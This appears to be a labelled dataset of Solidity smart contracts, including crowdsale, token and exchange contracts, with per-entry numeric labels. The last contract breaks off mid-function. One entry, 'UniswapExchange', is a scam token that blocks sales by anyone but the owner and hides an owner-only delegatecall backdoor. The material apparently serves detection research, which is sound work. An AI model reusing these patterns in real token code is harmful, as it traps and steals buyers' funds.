function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(tokenAmount, weiAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * tokenAmount;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 866 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract LescovexERC20 is Ownable {
using SafeMath for uint256;
mapping (address => uint256) holded;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 public constant blockEndICO = 1524182460;
string public constant standard = "ERC20 Lescovex";
uint8 public constant decimals = 8;
uint256 public totalSupply;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function holdedOf(address _owner) public view returns (uint256 balance) {
return holded[_owner];
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(block.timestamp > blockEndICO || msg.sender == owner);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
holded[_to] = block.number;
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
holded[_to] = block.number;
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public onlyOwner returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public onlyOwner returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public onlyOwner returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public onlyOwner returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public ;
}
contract Lescovex is LescovexERC20 {
uint256 constant initialSupply = 0;
string constant tokenName = "Lescovex Shareholder's";
string constant tokenSymbol = "LCX";
address public LescovexAddr = 0xD26286eb9E6E623dba88Ed504b628F648ADF7a0E;
uint256 public constant minPrice = 7500000000000000;
uint256 public buyPrice = minPrice;
uint256 public tokenReward = 0;
uint256 public tokenUnit = uint256(10)**decimals;
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
function Lescovex() public {
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
}
function () public payable {
buy();
}
modifier status() {
_;
if (block.timestamp < 1519862460){
if (totalSupply < 50000000000000){
buyPrice = 7500000000000000;
} else {
buyPrice = 8000000000000000;
}
} else if (block.timestamp < 1520640060){
buyPrice = 8000000000000000;
} else if (block.timestamp<1521504060){
buyPrice = 8500000000000000;
} else if (block.timestamp < 1522368060){
buyPrice = 9000000000000000;
} else if (block.timestamp < 1523232060){
buyPrice = 9500000000000000;
} else {
buyPrice = 10000000000000000;
}
}
function deposit() public payable onlyOwner returns(bool success) {
assert (this.balance + msg.value >= this.balance);
tokenReward = this.balance / totalSupply;
LogDeposit(msg.sender, msg.value);
return true;
}
function withdrawReward() public status {
require (block.number - holded[msg.sender] > 172800);
holded[msg.sender] = block.number;
uint256 ethAmount = tokenReward * balances[msg.sender];
msg.sender.transfer(ethAmount);
LogWithdrawal(msg.sender, ethAmount);
}
function withdraw(uint value) public onlyOwner {
msg.sender.transfer(value);
LogWithdrawal(msg.sender, value);
}
function buy() public payable status {
require (totalSupply <= 1000000000000000);
require(block.timestamp < blockEndICO);
uint256 tokenAmount = (msg.value / buyPrice)*tokenUnit ;
transferBuy(msg.sender, tokenAmount);
LescovexAddr.transfer(msg.value);
}
function transferBuy(address _to, uint256 _value) internal returns (bool) {
require(_to != address(0));
totalSupply = totalSupply.add(_value*2);
holded[_to] = block.number;
balances[LescovexAddr] = balances[LescovexAddr].add(_value);
balances[_to] = balances[_to].add(_value);
Transfer(this, _to, _value);
Transfer(this, LescovexAddr, _value);
return true;
}
function burn(address addr) public onlyOwner{
totalSupply=totalSupply.sub(balances[addr]);
balances[addr]=0;
}
} | 0 | 752 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,551 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Token {
function totalSupply() public returns (uint256);
function balanceOf(address) public returns (uint256) ;
function transfer(address, uint256) public returns (bool);
function transferFrom(address, address, uint256) public returns (bool);
function approve(address, uint256) public returns (bool);
function allowance(address, address) public returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
uint public decimals;
string public name;
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public returns (uint256) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public returns (uint256) {
return allowed[_owner][_spender];
}
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ReserveToken is StandardToken, SafeMath {
address public minter;
constructor(ReserveToken) public {
minter = msg.sender;
}
function create(address account, uint amount) public {
if (msg.sender != minter) revert();
balances[account] = safeAdd(balances[account], amount);
totalSupply = safeAdd(totalSupply, amount);
}
function destroy(address account, uint amount) public {
if (msg.sender != minter) revert();
if (balances[account] < amount) revert();
balances[account] = safeSub(balances[account], amount);
totalSupply = safeSub(totalSupply, amount);
}
}
contract AccountLevels {
function accountLevel(address) public returns(uint);
}
contract AccountLevelsTest is AccountLevels {
mapping (address => uint) public accountLevels;
function setAccountLevel(address user, uint level) public {
accountLevels[user] = level;
}
function accountLevel(address user) public returns(uint) {
return accountLevels[user];
}
}
contract Amplbitcmedia is SafeMath {
address public admin;
address public feeAccount;
address public accountLevelsAddr;
uint public feeMake;
uint public feeTake;
uint public feeRebate;
mapping (address => mapping (address => uint)) public tokens;
mapping (address => mapping (bytes32 => bool)) public orders;
mapping (address => mapping (bytes32 => uint)) public orderFills;
event Order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user);
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
constructor(address admin_, address feeAccount_, address accountLevelsAddr_, uint feeMake_, uint feeTake_, uint feeRebate_) public {
admin = admin_;
feeAccount = feeAccount_;
accountLevelsAddr = accountLevelsAddr_;
feeMake = feeMake_;
feeTake = feeTake_;
feeRebate = feeRebate_;
}
function() public {
revert();
}
function changeAdmin(address admin_) public {
if (msg.sender != admin) revert();
admin = admin_;
}
function changeAccountLevelsAddr(address accountLevelsAddr_) public {
if (msg.sender != admin) revert();
accountLevelsAddr = accountLevelsAddr_;
}
function changeFeeAccount(address feeAccount_) public {
if (msg.sender != admin) revert();
feeAccount = feeAccount_;
}
function changeFeeMake(uint feeMake_) public {
if (msg.sender != admin) revert();
if (feeMake_ > feeMake) revert();
feeMake = feeMake_;
}
function changeFeeTake(uint feeTake_) public {
if (msg.sender != admin) revert();
if (feeTake_ > feeTake || feeTake_ < feeRebate) revert();
feeTake = feeTake_;
}
function changeFeeRebate(uint feeRebate_) public {
if (msg.sender != admin) revert();
if (feeRebate_ < feeRebate || feeRebate_ > feeTake) revert();
feeRebate = feeRebate_;
}
function deposit() payable public {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
emit Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint amount) public{
if (tokens[0][msg.sender] < amount) revert();
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], amount);
if (!msg.sender.send(amount)) revert();
emit Withdraw(0, msg.sender, amount, tokens[0][msg.sender]);
}
function depositToken(address token, uint amount) public {
if (token==0) revert();
if (!Token(token).transferFrom(msg.sender, this, amount)) revert();
tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount);
emit Deposit(token, msg.sender, amount, tokens[token][msg.sender]);
}
function withdrawToken(address token, uint amount) public {
if (token==0) revert();
if (tokens[token][msg.sender] < amount) revert();
tokens[token][msg.sender] = safeSub(tokens[token][msg.sender], amount);
if (!Token(token).transfer(msg.sender, amount)) revert();
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
}
function balanceOf(address token, address user) public constant returns (uint) {
return tokens[token][user];
}
function order(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
orders[msg.sender][hash] = true;
emit Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);
}
function trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount) public {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
block.number <= expires &&
safeAdd(orderFills[user][hash], amount) <= amountGet
)) revert();
tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);
orderFills[user][hash] = safeAdd(orderFills[user][hash], amount);
emit Trade(tokenGet, amount, tokenGive, amountGive * amount / amountGet, user, msg.sender);
}
function tradeBalances(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address user, uint amount) private {
uint feeMakeXfer = safeMul(amount, feeMake) / (1 ether);
uint feeTakeXfer = safeMul(amount, feeTake) / (1 ether);
uint feeRebateXfer = 0;
if (accountLevelsAddr != 0x0) {
uint accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);
if (accountLevel==1) feeRebateXfer = safeMul(amount, feeRebate) / (1 ether);
if (accountLevel==2) feeRebateXfer = feeTakeXfer;
}
tokens[tokenGet][msg.sender] = safeSub(tokens[tokenGet][msg.sender], safeAdd(amount, feeTakeXfer));
tokens[tokenGet][user] = safeAdd(tokens[tokenGet][user], safeSub(safeAdd(amount, feeRebateXfer), feeMakeXfer));
tokens[tokenGet][feeAccount] = safeAdd(tokens[tokenGet][feeAccount], safeSub(safeAdd(feeMakeXfer, feeTakeXfer), feeRebateXfer));
tokens[tokenGive][user] = safeSub(tokens[tokenGive][user], safeMul(amountGive, amount) / amountGet);
tokens[tokenGive][msg.sender] = safeAdd(tokens[tokenGive][msg.sender], safeMul(amountGive, amount) / amountGet);
}
function testTrade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s, uint amount, address sender) public constant returns(bool) {
if (!(
tokens[tokenGet][sender] >= amount &&
availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount
)) return false;
return true;
}
function availableVolume(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s) public constant returns(uint) {
bytes32 hash = sha256(abi.encodePacked(this, tokenGet, amountGet, tokenGive, amountGive, expires, nonce));
if (!(
(orders[user][hash] || ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)),v,r,s) == user) &&
